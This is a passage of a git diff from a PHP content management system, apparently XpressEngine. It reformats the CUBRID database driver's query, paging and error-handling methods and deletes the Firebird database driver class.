TRUE) + { + if($this->use_prepared_statements == 'Y') + { + $this->param = $queryObject->getArguments(); + $with_values = FALSE; + } + $query = $this->getUpdateSql($queryObject, $with_values); + if(is_a($query, 'Object')) { - if($this->use_prepared_statements == 'Y') - { - $this->param = $queryObject->getArguments(); - $with_values = FALSE; - } - $query = $this->getDeleteSql($queryObject, $with_values); - if(is_a($query, 'Object')) return; - - $query .= (__DEBUG_QUERY__&1 && $this->query_id)?sprintf (' '.$this->comment_syntax, $this->query_id):''; - - $result = $this->_query ($query); - - if ($result && !$this->transaction_started) $this->_commit(); - unset($this->param); - return $result; + return; } - /** - * Handle selectAct - * To get a specific page list easily in select statement, - * a method, navigation, is used - * @param Object $queryObject - * @param resource $connection - * @param boolean $with_values - * @return Object - */ - function _executeSelectAct($queryObject, $connection = NULL, $with_values = TRUE) { - if ($this->use_prepared_statements == 'Y') { - $this->param = $queryObject->getArguments(); - $with_values = FALSE; - } - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()) + $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + + $result = $this->_query($query); + + if($result && !$this->transaction_started) + { + $this->_commit(); + } + unset($this->param); + return $result; + } + + /** + * Handles deleteAct + * @param Object $queryObject + * @param boolean $with_values + * @return resource + */ + function _executeDeleteAct($queryObject, $with_values = TRUE) + { + if($this->use_prepared_statements == 'Y') + { + $this->param = $queryObject->getArguments(); + $with_values = FALSE; + } + $query = $this->getDeleteSql($queryObject, $with_values); + if(is_a($query, 'Object')) + { + unset($this->param); + return; + } + + $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + + $result = $this->_query($query); + + if($result && !$this->transaction_started) + { + $this->_commit(); + } + + unset($this->param); + return $result; + } + + /** + * Handle selectAct + * To get a specific page list easily in select statement, + * a method, navigation, is used + * @param Object $queryObject + * @param resource $connection + * @param boolean $with_values + * @return Object + */ + function _executeSelectAct($queryObject, $connection = NULL, $with_values = TRUE) + { + if($this->use_prepared_statements == 'Y') + { + $this->param = $queryObject->getArguments(); + $with_values = FALSE; + } + $limit = $queryObject->getLimit(); + if($limit && $limit->isPageHandler()) + { + return $this->queryPageLimit($queryObject, $connection, $with_values); + } + else + { + $query = $this->getSelectSql($queryObject, $with_values); + if(is_a($query, 'Object')) { - return $this->queryPageLimit($queryObject, $connection, $with_values); - } - else { - $query = $this->getSelectSql($queryObject, $with_values); - if (is_a($query, 'Object')) - return; - - $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; - $result = $this->_query($query, $connection); - - if ($this->isError()) - return $this->queryError($queryObject); - - $data = $this->_fetch($result); - $buff = new Object (); - $buff->data = $data; - unset($this->param); - return $buff; - } - } - - /** - * If have a error, return error object - * @param Object $queryObject - * @return Object - */ - function queryError($queryObject){ - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()){ - $buff = new Object (); - $buff->total_count = 0; - $buff->total_page = 0; - $buff->page = 1; - $buff->data = array (); - $buff->page_navigation = new PageHandler (/*$total_count*/0, /*$total_page*/1, /*$page*/1, /*$page_count*/10);//default page handler values - return $buff; - }else - return; - } - - /** - * If select query execute, return page info - * @param Object $queryObject - * @param resource $connection - * @param boolean $with_values - * @return Object Object with page info containing - */ - function queryPageLimit($queryObject, $connection, $with_values){ - $limit = $queryObject->getLimit(); - // Total count - $temp_where = $queryObject->getWhereString($with_values, FALSE); - $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString($with_values), ($temp_where === '' ? '' : ' WHERE '. $temp_where)); - - // Check for distinct query and if found update count query structure - $temp_select = $queryObject->getSelectString($with_values); - $uses_distinct = strpos(strtolower($temp_select), "distinct") !== FALSE; - $uses_groupby = $queryObject->getGroupByString() != ''; - if($uses_distinct || $uses_groupby) { - $count_query = sprintf('select %s %s %s %s' - , $temp_select - , 'FROM ' . $queryObject->getFromString($with_values) - , ($temp_where === '' ? '' : ' WHERE '. $temp_where) - , ($uses_groupby ? ' GROUP BY ' . $queryObject->getGroupByString() : '') - ); - - // If query uses grouping or distinct, count from original select - $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); - } - - $count_query .= (__DEBUG_QUERY__&1 && $queryObject->queryID)?sprintf (' '.$this->comment_syntax, $queryObject->queryID):''; - $result = $this->_query($count_query, $connection); - $count_output = $this->_fetch($result); - $total_count = (int)(isset($count_output->count) ? $count_output->count : NULL); - - $list_count = $limit->list_count->getValue(); - if (!$list_count) $list_count = 20; - $page_count = $limit->page_count->getValue(); - if (!$page_count) $page_count = 10; - $page = $limit->page->getValue(); - if (!$page) $page = 1; - - // total pages - if ($total_count) { - $total_page = (int) (($total_count - 1) / $list_count) + 1; - } - else { - $total_page = 1; + return; } - // check the page variables - if ($page > $total_page) { - // If requested page is bigger than total number of pages, return empty list - - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = array(); - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - return $buff; - } - $start_count = ($page - 1) * $list_count; + $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + $result = $this->_query($query, $connection); - $query = $this->getSelectPageSql($queryObject, $with_values, $start_count, $list_count); - $query .= (__DEBUG_QUERY__&1 && $queryObject->query_id)?sprintf (' '.$this->comment_syntax, $this->query_id):''; - $result = $this->_query ($query, $connection); - if ($this->isError ()) + if($this->isError()) + { + unset($this->param); return $this->queryError($queryObject); + } - $virtual_no = $total_count - ($page - 1) * $list_count; - $data = $this->_fetch($result, $virtual_no); + $data = $this->_fetch($result); + $buff = new Object (); + $buff->data = $data; - $buff = new Object (); + unset($this->param); + return $buff; + } + } + + /** + * If have a error, return error object + * @param Object $queryObject + * @return Object + */ + function queryError($queryObject) + { + $limit = $queryObject->getLimit(); + if($limit && $limit->isPageHandler()) + { + $buff = new Object (); + $buff->total_count = 0; + $buff->total_page = 0; + $buff->page = 1; + $buff->data = array(); + $buff->page_navigation = new PageHandler(/* $total_count */0, /* $total_page */1, /* $page */1, /* $page_count */10); //default page handler values + return $buff; + }else + return; + } + + /** + * If select query execute, return page info + * @param Object $queryObject + * @param resource $connection + * @param boolean $with_values + * @return Object Object with page info containing + */ + function queryPageLimit($queryObject, $connection, $with_values) + { + $limit = $queryObject->getLimit(); + // Total count + $temp_where = $queryObject->getWhereString($with_values, FALSE); + $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString($with_values), ($temp_where === '' ? '' : ' WHERE ' . $temp_where)); + + // Check for distinct query and if found update count query structure + $temp_select = $queryObject->getSelectString($with_values); + $uses_distinct = strpos(strtolower($temp_select), "distinct") !== FALSE; + $uses_groupby = $queryObject->getGroupByString() != ''; + if($uses_distinct || $uses_groupby) + { + $count_query = sprintf('select %s %s %s %s' + , $temp_select + , 'FROM ' . $queryObject->getFromString($with_values) + , ($temp_where === '' ? '' : ' WHERE ' . $temp_where) + , ($uses_groupby ? ' GROUP BY ' . $queryObject->getGroupByString() : '') + ); + + // If query uses grouping or distinct, count from original select + $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); + } + + $count_query .= (__DEBUG_QUERY__ & 1 && $queryObject->queryID) ? sprintf(' ' . $this->comment_syntax, $queryObject->queryID) : ''; + $result = $this->_query($count_query, $connection); + $count_output = $this->_fetch($result); + $total_count = (int) (isset($count_output->count) ? $count_output->count : NULL); + + $list_count = $limit->list_count->getValue(); + if(!$list_count) + { + $list_count = 20; + } + $page_count = $limit->page_count->getValue(); + if(!$page_count) + { + $page_count = 10; + } + $page = $limit->page->getValue(); + if(!$page || $page < 1) + { + $page = 1; + } + + // total pages + if($total_count) + { + $total_page = (int) (($total_count - 1) / $list_count) + 1; + } + else + { + $total_page = 1; + } + + // check the page variables + if($page > $total_page) + { + // If requested page is bigger than total number of pages, return empty list + + $buff = new Object (); $buff->total_count = $total_count; $buff->total_page = $total_page; $buff->page = $page; - $buff->data = $data; + $buff->data = array(); $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); unset($this->param); return $buff; } + $start_count = ($page - 1) * $list_count; - /** - * Return the DBParser - * @param boolean $force - * @return DBParser - */ - function getParser($force = FALSE){ - return new DBParser('"', '"', $this->prefix); + $query = $this->getSelectPageSql($queryObject, $with_values, $start_count, $list_count); + $query .= (__DEBUG_QUERY__ & 1 && $queryObject->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + $result = $this->_query($query, $connection); + if($this->isError()) + { + unset($this->param); + return $this->queryError($queryObject); } - /** - * If select query execute, return paging sql - * @param object $query - * @param boolean $with_values - * @param int $start_count - * @param int $list_count - * @return string select paging sql - */ - function getSelectPageSql($query, $with_values = TRUE, $start_count = 0, $list_count = 0) { + $virtual_no = $total_count - ($page - 1) * $list_count; + $data = $this->_fetch($result, $virtual_no); - $select = $query->getSelectString($with_values); - if($select == '') return new Object(-1, "Invalid query"); - $select = 'SELECT ' .$select; + $buff = new Object (); + $buff->total_count = $total_count; + $buff->total_page = $total_page; + $buff->page = $page; + $buff->data = $data; + $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); + unset($this->param); + return $buff; + } - $from = $query->getFromString($with_values); - if($from == '') return new Object(-1, "Invalid query"); - $from = ' FROM '.$from; + /** + * Return the DBParser + * @param boolean $force + * @return DBParser + */ + function getParser($force = FALSE) + { + return new DBParser('"', '"', $this->prefix); + } - $where = $query->getWhereString($with_values); - if($where != '') - $where = ' WHERE ' . $where; + /** + * If select query execute, return paging sql + * @param object $query + * @param boolean $with_values + * @param int $start_count + * @param int $list_count + * @return string select paging sql + */ + function getSelectPageSql($query, $with_values = TRUE, $start_count = 0, $list_count = 0) + { - $groupBy = $query->getGroupByString(); - if($groupBy != '') $groupBy = ' GROUP BY ' . $groupBy; + $select = $query->getSelectString($with_values); + if($select == '') + { + return new Object(-1, "Invalid query"); + } + $select = 'SELECT ' . $select; - $orderBy = $query->getOrderByString(); - if($orderBy != '') $orderBy = ' ORDER BY ' . $orderBy; + $from = $query->getFromString($with_values); + if($from == '') + { + return new Object(-1, "Invalid query"); + } + $from = ' FROM ' . $from; - $limit = $query->getLimitString(); - if ($limit != '') $limit = sprintf (' LIMIT %d, %d', $start_count, $list_count); + $where = $query->getWhereString($with_values); + if($where != '') + { + $where = ' WHERE ' . $where; + } + + $groupBy = $query->getGroupByString(); + if($groupBy != '') + { + $groupBy = ' GROUP BY ' . $groupBy; + } + + $orderBy = $query->getOrderByString(); + if($orderBy != '') + { + $orderBy = ' ORDER BY ' . $orderBy; + } + + $limit = $query->getLimitString(); + if($limit != '') + { + $limit = sprintf(' LIMIT %d, %d', $start_count, $list_count); + } + + return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; + } - return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; - } } -?> +/* End of file DBCubrid.class.php */ +/* Location: ./classes/db/DBCubrid.class.php */ diff --git a/classes/db/DBFirebird.class.php b/classes/db/DBFirebird.class.php deleted file mode 100644 index b3c0bb4e8..000000000 --- a/classes/db/DBFirebird.class.php +++ /dev/null @@ -1,868 +0,0 @@ - 'BIGINT', - 'number' => 'INTEGER', - 'varchar' => 'VARCHAR', - 'char' => 'CHAR', - 'text' => 'BLOB SUB_TYPE TEXT SEGMENT SIZE 32', - 'bigtext' => 'BLOB SUB_TYPE TEXT SEGMENT SIZE 32', - 'date' => 'VARCHAR(14)', - 'float' => 'FLOAT', - ); - - /** - * @brief constructor - **/ - function DBFireBird() { - $this->_setDBInfo(); - $this->_connect(); - } - - /** - * @brief create an instance of this class - */ - function create() - { - return new DBFireBird; - } - - /** - * @brief Return if installable - **/ - function isSupported() { - if(!function_exists('ibase_connect')) return false; - return true; - } - - /** - * @brief DB Connection - **/ - function __connect($connection) { - //if(strpos($this->hostname, ':')===false && $this->port) $this->hostname .= ':'.$this->port; - // attempts to connect - $host = $connection["db_hostname"]."/".$connection["db_port"].":".$connection["db_database"]; - - $result = ibase_connect($host, $connection["db_userid"], $connection["db_password"]); - if(ibase_errmsg()) { - $this->setError(ibase_errcode(), ibase_errmsg()); - return; - } - // Error when Firebird version is lower than 2.0 - if (($service = ibase_service_attach($connection["db_hostname"], $connection["db_userid"], $connection["db_password"])) != FALSE) { - // get server version and implementation strings - $server_info = ibase_server_info($service, IBASE_SVC_SERVER_VERSION); - ibase_service_detach($service); - } - else { - $this->setError(ibase_errcode(), ibase_errmsg()); - ibase_close($result); - return; - } - - $pos = strpos($server_info, "Firebird"); - if($pos !== false) { - $ver = substr($server_info, $pos+strlen("Firebird")); - $ver = trim($ver); - } - - if($ver < "2.0") { - $this->setError(-1, "XE cannot be installed under the version of firebird 2.0. Current firebird version is ".$ver); - ibase_close($result); - return; - } - return $result; - } - - /** - * @brief DB disconnect - **/ - function _close($connection) { - ibase_commit($connection); - ibase_close($connection); - } - - /** - * @brief handles quatation of the string variables from the query - **/ - function addQuotes($string) { - if(get_magic_quotes_gpc()) $string = stripslashes(str_replace("\\","\\\\",$string)); - if(!is_numeric($string)) $string = str_replace("'","''", $string); - return $string; - } - - /** - * @brief put double quotes for tabls, column names in the query statement - **/ - function addDoubleQuotes($string) { - if($string == "*") return $string; - - if(strpos($string, "'")!==false) { - $string = str_replace("'", "\"", $string); - } - else if(strpos($string, "\"")!==false) { - } - else { - $string = "\"".$string."\""; - } - - return $string; - } - - /** - * @brief put double quotes for tabls, column names in the query statement - **/ - function autoQuotes($string){ - $string = strtolower($string); - // for substr function - if(strpos($string, "substr(") !== false) { - $tokken = strtok($string, "(,)"); - $tokken = strtok("(,)"); - while($tokken) { - $tokkens[] = $tokken; - $tokken = strtok("(,)"); - } - - if(count($tokkens) !== 3) return $string; - return sprintf("substring(%s from %s for %s)", $this->addDoubleQuotes($tokkens[0]), $tokkens[1], $tokkens[2]); - } - - // as - $as = false; - if(($no1 = strpos($string," as ")) !== false) { - $as = substr($string, $no1, strlen($string)-$no1); - $string = substr($string, 0, $no1); - - $as = str_replace(" as ", "", $as); - $as = trim($as); - $as = $this->addDoubleQuotes($as); - } - // for functions - $tmpFunc1 = null; - $tmpFunc2 = null; - if(($no1 = strpos($string,'('))!==false && ($no2 = strpos($string, ')'))!==false) { - $tmpFunc1 = substr($string, 0, $no1+1); - $tmpFunc2 = substr($string, $no2, strlen($string)-$no2+1); - $string = trim(substr($string, $no1+1, $no2-$no1-1)); - } - // for (table.column) structure - preg_match("/((?i)[a-z0-9_-]+)[.]((?i)[a-z0-9_\-\*]+)/", $string, $matches); - - if($matches) { - $string = $this->addDoubleQuotes($matches[1]).".".$this->addDoubleQuotes($matches[2]); - } - else { - $string = $this->addDoubleQuotes($string); - } - - if($tmpFunc1 != null) $string = $tmpFunc1.$string; - if($tmpFunc2 != null) $string = $string.$tmpFunc2; - - if($as !== false) $string = $string." as ".$as; - return $string; - } - - function autoValueQuotes($string, $tables){ - $tok = strtok($string, ","); - while($tok !== false) { - $values[] = $tok; - $tok = strtok(","); - } - - foreach($values as $val1) { - // for (table.column) structure - preg_match("/((?i)[a-z0-9_-]+)[.]((?i)[a-z0-9_\-\*]+)/", $val1, $matches); - if($matches) { - $isTable = false; - - foreach($tables as $key2 => $val2) { - if($key2 == $matches[1]) $isTable = true; - if($val2 == $matches[1]) $isTable = true; - } - - if($isTable) { - $return[] = $this->addDoubleQuotes($matches[1]).".".$this->addDoubleQuotes($matches[2]); - } - else { - $return[] = $val1; - } - } - else if(!is_numeric($val1)) { - if(strpos($val1, "'") !== 0) - $return[] = "'".$val1."'"; - else - $return[] = $val1; - } - else { - $return[] = $val1; - } - } - - return implode(",", $return); - } - - /** - * @brief Begin transaction - **/ - function _begin() { - return true; - } - - /** - * @brief Rollback - **/ - function _rollback() { - $connection = $this->_getConnection('master'); - ibase_rollback($connection); - return true; - } - - /** - * @brief Commits - **/ - function _commit() { - $connection = $this->_getConnection('master'); - ibase_commit($connection); - return true; - } - - /** - * @brief : Run a query and fetch the result - * - * query: run a query and return the result\n - * fetch: NULL if no value returned \n - * array object if rows returned \n - * object if a row returned \n - * return\n - **/ - function __query($query, $connection, $params = null) { - if(count($params) == 0) { - // Execute the query statement - $result = ibase_query($connection, $query); - } - else { - // Execute the query(for blob type) - $query = ibase_prepare($connection, $query); - //$fnarr = array_merge(array($query), $params); - $result = ibase_execute($query); - } - // Error Check - if(ibase_errmsg()) $this->setError(ibase_errcode(), ibase_errmsg()); - - return $result; - } - - function _queryInsertUpdateDeleteSelect($query, $params=null, $connection) { - if(!$connection) return; - - if(count($params) == 0) { - // Notify to start a query execution - $this->actStart($query); - // Execute the query statement - $trans = ibase_trans(IBASE_DEFAULT,$connection); - $result = ibase_query($trans, $query); - ibase_commit($trans); - unset($trans); - } - else { - // Notify to start a query execution - $log = $query."\n\t\t\t"; - $log .= implode(",", $params); - $this->actStart($log); - // Execute the query(for blob type) - $query = ibase_prepare($connection, $query); - //$fnarr = array_merge(array($query), $params); - $result = ibase_execute($query); - } - // Error Check - if(ibase_errmsg()) $this->setError(ibase_errcode(), ibase_errmsg()); - // Notify to complete a query execution - $this->actFinish(); - // Return the result - return $result; - } - - function getTableInfo($result){ - $coln = ibase_num_fields($result); - $column_type = array(); - for ($i = 0; $i < $coln; $i++) { - $col_info = ibase_field_info($result, $i); - if($col_info['name'] === "") $column_type[$col_info['alias']] = $col_info['type']; - else $column_type[$col_info['name']] = $col_info['type']; - } - return $column_type; - } - /** - * @brief Fetch the result - **/ - function _fetch($result, $output = null) { - if(!$this->isConnected() || $this->isError() || !$result) return; - $output->column_type = $this->getTableInfo($result); - - while($tmp = ibase_fetch_object($result)) { - foreach($tmp as $key => $val) { - $type = $output->column_type[$key]; - // type value is null when $key is an alias. so get a type by finding actual coloumn name - if($type == null && $output->columns && count($output->columns)) { - foreach($output->columns as $cols) { - if($cols['alias'] == $key) { - // checks if the format is table.column or a regular expression - preg_match("/\w+[.](\w+)/", $cols['name'], $matches); - if($matches) { - $type = $output->column_type[$matches[1]]; - } - else { - $type = $output->column_type[$cols['name']]; - } - } - } - } - - if(($type == "text" || $type == "bigtext" || $type == "BLOB") && $tmp->{$key}) { - $blob_data = ibase_blob_info($tmp->{$key}); - $blob_hndl = ibase_blob_open($tmp->{$key}); - - if($blob_data[1] === 1) { - $tmp->{$key} = ibase_blob_get($blob_hndl, $blob_data[0]); - } else { - for ($i = 0; $i < $blob_data[1]; $i++) { - $readsize = $blob_data[2]; - if ($i == ($blob_data[1] - 1)) { - $readsize = $blob_data[0] - (($blob_data[1] - 1) * $blob_data[2]); - } - $totalimage .= ibase_blob_get($blob_hndl, $readsize); - } - } - - ibase_blob_close($blob_hndl); - } - else if($type == "CHAR") { - $tmp->{$key} = trim($tmp->{$key}); // remove blanks generated when DB character set is UTF8 - } - } - - $return[] = $tmp; - } - - if(count($return)==1) return $return[0]; - return $return; - } - - /** - * @brief return sequence value incremented by 1(increase the value of the generator in firebird) - **/ - function getNextSequence() { - //$gen = "GEN_".$this->prefix."sequence_ID"; - $gen = 'GEN_XE_SEQUENCE_ID'; - $sequence = ibase_gen_id($gen, 1); - return $sequence; - } - - /** - * @brief returns if the table already exists - **/ - function isTableExists($target_name) { - $query = sprintf("select rdb\$relation_name from rdb\$relations where rdb\$system_flag=0 and rdb\$relation_name = '%s%s';", $this->prefix, $target_name); - $result = $this->_query($query); - $tmp = $this->_fetch($result); - $connection = $this->_getConnection('master'); - if(!$tmp) { - if(!$this->transaction_started) ibase_rollback($connection); - return false; - } - if(!$this->transaction_started) ibase_commit($connection); - return true; - } - - /** - * @brief add a column to the table - **/ - function addColumn($table_name, $column_name, $type='number', $size='', $default = '', $notnull=false) { - $type = $this->column_type[$type]; - if(strtoupper($type)=='INTEGER') $size = null; - else if(strtoupper($type)=='BIGINT') $size = null; - else if(strtoupper($type)=='BLOB SUB_TYPE TEXT SEGMENT SIZE 32') $size = null; - else if(strtoupper($type)=='VARCHAR' && !$size) $size = 256; - - $query = sprintf("ALTER TABLE \"%s%s\" ADD \"%s\" ", $this->prefix, $table_name, $column_name); - if($size) $query .= sprintf(" %s(%s) ", $type, $size); - else $query .= sprintf(" %s ", $type); - if(!is_null($default)) $query .= sprintf(" DEFAULT '%s' ", $default); - if($notnull) $query .= " NOT NULL "; - - $this->_query($query); - - if(!$this->transaction_started) { - $connection = $this->_getConnection('master'); - ibase_commit($connection); - } - } - - /** - * @brief drop a column from the table - **/ - function dropColumn($table_name, $column_name) { - $query = sprintf("alter table %s%s drop %s ", $this->prefix, $table_name, $column_name); - $this->_query($query); - if(!$this->transaction_started) { - $connection = $this->_getConnection('master'); - ibase_commit($connection); - } - - } - - - /** - * @brief return column information of the table - **/ - function isColumnExists($table_name, $column_name) { - $query = sprintf("SELECT RDB\$FIELD_NAME as \"FIELD\" FROM RDB\$RELATION_FIELDS WHERE RDB\$RELATION_NAME = '%s%s'", $this->prefix, $table_name); - $result = $this->_query($query); - $connection = $this->_getConnection('master'); - - if($this->isError()) { - if(!$this->transaction_started) ibase_rollback($connection); - return false; - } - - $output = $this->_fetch($result); - if(!$this->transaction_started) ibase_commit($connection); - - if($output) { - $column_name = strtolower($column_name); - foreach($output as $key => $val) { - $name = trim(strtolower($val->FIELD)); - if($column_name == $name) return true; - } - } - return false; - } - - /** - * @brief add an index to the table - * $target_columns = array(col1, col2) - * $is_unique? unique : none - **/ - function addIndex($table_name, $index_name, $target_columns, $is_unique = false) { - // index name size should be limited to 31 byte. no index name assigned - // if index name omitted, Firebird automatically assign its name like "RDB $10" - // deletes indexes when deleting the table - if(!is_array($target_columns)) $target_columns = array($target_columns); - - $query = sprintf('CREATE %s INDEX "" ON "%s%s" ("%s");', $is_unique?'UNIQUE':'', $this->prefix, $table_name, implode('", "',$target_columns)); - $this->_query($query); - - $connection = $this->_getConnection('master'); - if(!$this->transaction_started) ibase_commit($connection); - } - - /** - * @brief drop an index from the table - **/ - function dropIndex($table_name, $index_name, $is_unique = false) { - $query = sprintf('DROP INDEX "%s" ON "%s%s"', $index_name, $this->prefix, $table_name); - $this->_query($query); - - $connection = $this->_getConnection('master'); - if(!$this->transaction_started) ibase_commit($connection); - } - - - /** - * @brief return index information of the table - **/ - function isIndexExists($table_name, $index_name) { - $query = "SELECT\n"; - $query .= " RDB\$INDICES.rdb\$index_name AS Key_name\n"; - $query .= "FROM\n"; - $query .= " RDB\$INDICES, rdb\$index_segments\n"; - $query .= "WHERE\n"; - $query .= " RDB\$INDICES.rdb\$index_name = rdb\$index_segments.rdb\$index_name AND\n"; - $query .= " RDB\$INDICES.rdb\$relation_name = '"; - $query .= $this->prefix; - $query .= $table_name; - $query .= "' AND\n"; - $query .= " RDB\$INDICES.rdb\$index_name = '"; - $query .= $index_name; - $query .= "'"; - - $result = $this->_query($query); - if($this->isError()) return; - $output = $this->_fetch($result); - - if(!$output) { - $connection = $this->_getConnection('master'); - if(!$this->transaction_started) ibase_rollback($connection); - return false; - } - - if(!$this->transaction_started) { - $connection = $this->_getConnection('master'); - ibase_commit($connection); - } - - if(!is_array($output)) $output = array($output); - for($i=0;$iKEY_NAME) == $index_name) return true; - } - - return false; - } - - /** - * @brief creates a table by using xml file - **/ - function createTableByXml($xml_doc) { - return $this->_createTable($xml_doc); - } - - /** - * @brief creates a table by using xml file - **/ - function createTableByXmlFile($file_name) { - if(!file_exists($file_name)) return; - // read xml file - $buff = FileHandler::readFile($file_name); - return $this->_createTable($buff); - } - - /** - * @brief create table by using the schema xml - * - * type : number, varchar, text, char, date, \n - * opt : notnull, default, size\n - * index : primary key, index, unique\n - **/ - function _createTable($xml_doc) { - // xml parsing - $oXml = new XmlParser(); - $xml_obj = $oXml->parse($xml_doc); - // Create a table schema - $table_name = $xml_obj->table->attrs->name; - if($this->isTableExists($table_name)) return; - $table_name = $this->prefix.$table_name; - - if(!is_array($xml_obj->table->column)) $columns[] = $xml_obj->table->column; - else $columns = $xml_obj->table->column; - - foreach($columns as $column) { - $name = $column->attrs->name; - $type = $column->attrs->type; - $size = $column->attrs->size; - $notnull = $column->attrs->notnull; - $primary_key = $column->attrs->primary_key; - $index = $column->attrs->index; - $unique = $column->attrs->unique; - $default = $column->attrs->default; - $auto_increment = $column->attrs->auto_increment; - - if($this->column_type[$type]=='INTEGER') $size = null; - else if($this->column_type[$type]=='BIGINT') $size = null; - else if($this->column_type[$type]=='BLOB SUB_TYPE TEXT SEGMENT SIZE 32') $size = null; - else if($this->column_type[$type]=='VARCHAR' && !$size) $size = 256; - - $column_schema[] = sprintf('"%s" %s%s %s %s', - $name, - $this->column_type[$type], - $size?'('.$size.')':'', - is_null($default)?"":"DEFAULT '".$default."'", - $notnull?'NOT NULL':''); - - if($auto_increment) $auto_increment_list[] = $name; - - if($primary_key) $primary_list[] = $name; - else if($unique) $unique_list[$unique][] = $name; - else if($index) $index_list[$index][] = $name; - } - - if(count($primary_list)) { - $column_schema[] = sprintf("PRIMARY KEY(\"%s\")%s", implode("\",\"", $primary_list), "\n"); - } - - if(count($unique_list)) { - foreach($unique_list as $key => $val) { - $column_schema[] = sprintf("UNIQUE(\"%s\")%s", implode("\",\"", $val), "\n"); - } - } - - $schema = sprintf("CREATE TABLE \"%s\" (%s%s); \n", $table_name, "\n", implode($column_schema, ",\n")); - - $output = $this->_query($schema); - if(!$this->transaction_started) { - $connection = $this->_getConnection('master'); - ibase_commit($connection); - } - if(!$output) return false; - - if(count($index_list)) { - foreach($index_list as $key => $val) { - // index name size should be limited to 31 byte. no index name assigned - // if index name omitted, Firebird automatically assign its name like "RDB $10" - // deletes indexes when deleting the table - $schema = sprintf("CREATE INDEX \"\" ON \"%s\" (\"%s\");", - $table_name, implode($val, "\",\"")); - $output = $this->_query($schema); - if(!$this->transaction_started) { - $connection = $this->_getConnection('master'); - ibase_commit($connection); - } - if(!$output) return false; - } - } - - if($_GLOBALS['XE_EXISTS_SEQUENCE']) return; - $schema = 'CREATE GENERATOR GEN_XE_SEQUENCE_ID;'; - $output = $this->_query($schema); - if(!$this->transaction_started) { - $connection = $this->_getConnection('master'); - ibase_commit($connection); - } - if(!$output) return false; - $_GLOBALS['XE_EXISTS_SEQUENCE'] = true; - /*if($auto_increment_list) - foreach($auto_increment_list as $increment) { - $schema = sprintf('CREATE GENERATOR GEN_%s_ID;', $table_name); - $output = $this->_query($schema); - if(!$this->transaction_started) ibase_commit($this->fd); - if(!$output) return false;*/ - // auto_increment in Firebird creates a generator which activates a trigger when insert occurs - // the generator increases the value of the generator and then insert to the table - // The trigger below acts like auto_increment however I commented the below because the trigger cannot be defined by a query statement - // php api has a function to increase a generator, so - // no need to use auto increment in XE - /* - $schema = 'SET TERM ^ ; '; - $schema .= sprintf('CREATE TRIGGER "%s_BI" FOR "%s" ', $table_name, $table_name); - $schema .= 'ACTIVE BEFORE INSERT POSITION 0 '; - $schema .= sprintf('AS BEGIN IF (NEW."%s" IS NULL) THEN ', $increment); - $schema .= sprintf('NEW."%s" = GEN_ID("GEN_%s_ID",1);', $increment, $table_name); - $schema .= 'END^ SET TERM ; ^'; - - $output = $this->_query($schema); - if(!$output) return false; - */ - //} - } - - - /** - * @brief Handle the insertAct - **/ - function _executeInsertAct($queryObject) { - $query = $this->getInsertSql($queryObject); - if(is_a($query, 'Object')) return; - return $this->_queryInsertUpdateDeleteSelect($query); - } - - /** - * @brief handles updateAct - **/ - function _executeUpdateAct($queryObject) { - $query = $this->getUpdateSql($queryObject); - if(is_a($query, 'Object')) return; - return $this->_queryInsertUpdateDeleteSelect($query); - } - - /** - * @brief handles deleteAct - **/ - function _executeDeleteAct($queryObject) { - $query = $this->getDeleteSql($queryObject); - if(is_a($query, 'Object')) return; - return $this->_queryInsertUpdateDeleteSelect($query); - } - - /** - * @brief Handle selectAct - * - * In order to get a list of pages easily when selecting \n - * it supports a method as navigation - **/ - function _executeSelectAct($queryObject, $connection) { - $query = $this->getSelectSql($queryObject); - if(strpos($query, "substr")) { - $query = str_replace ("substr", "substring", $query); - $query = $this->replaceSubstrFormat($query); - } - if(is_a($query, 'Object')) return; - $query .= (__DEBUG_QUERY__&1 && $queryObject->query_id)?sprintf(' '.$this->comment_syntax,$this->query_id):''; - $result = $this->_queryInsertUpdateDeleteSelect ($query, null, $connection); - - if ($this->isError ()) return $this->queryError($queryObject); - else return $this->queryPageLimit($queryObject, $result, $connection); - } - - function queryError($queryObject) { - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()) { - $buff = new Object (); - $buff->total_count = 0; - $buff->total_page = 0; - $buff->page = 1; - $buff->data = array(); - $buff->page_navigation = new PageHandler(/* $total_count */0, /* $total_page */1, /* $page */1, /* $page_count */10); //default page handler values - }else - return; - } - - function queryPageLimit($queryObject, $result, $connection) { - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()) { - // Total count - $temp_where = $queryObject->getWhereString(true, false); - $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString(), ($temp_where === '' ? '' : ' WHERE ' . $temp_where)); - if ($queryObject->getGroupByString() != '') { - $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); - } - - $count_query .= ( __DEBUG_QUERY__ & 1 && $output->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; - $result_count = $this->_query($count_query, null, $connection); - $count_output = $this->_fetch($result_count); - $total_count = (int) $count_output->count; - - $list_count = $limit->list_count->getValue(); - if (!$list_count) $list_count = 20; - $page_count = $limit->page_count->getValue(); - if (!$page_count) $page_count = 10; - 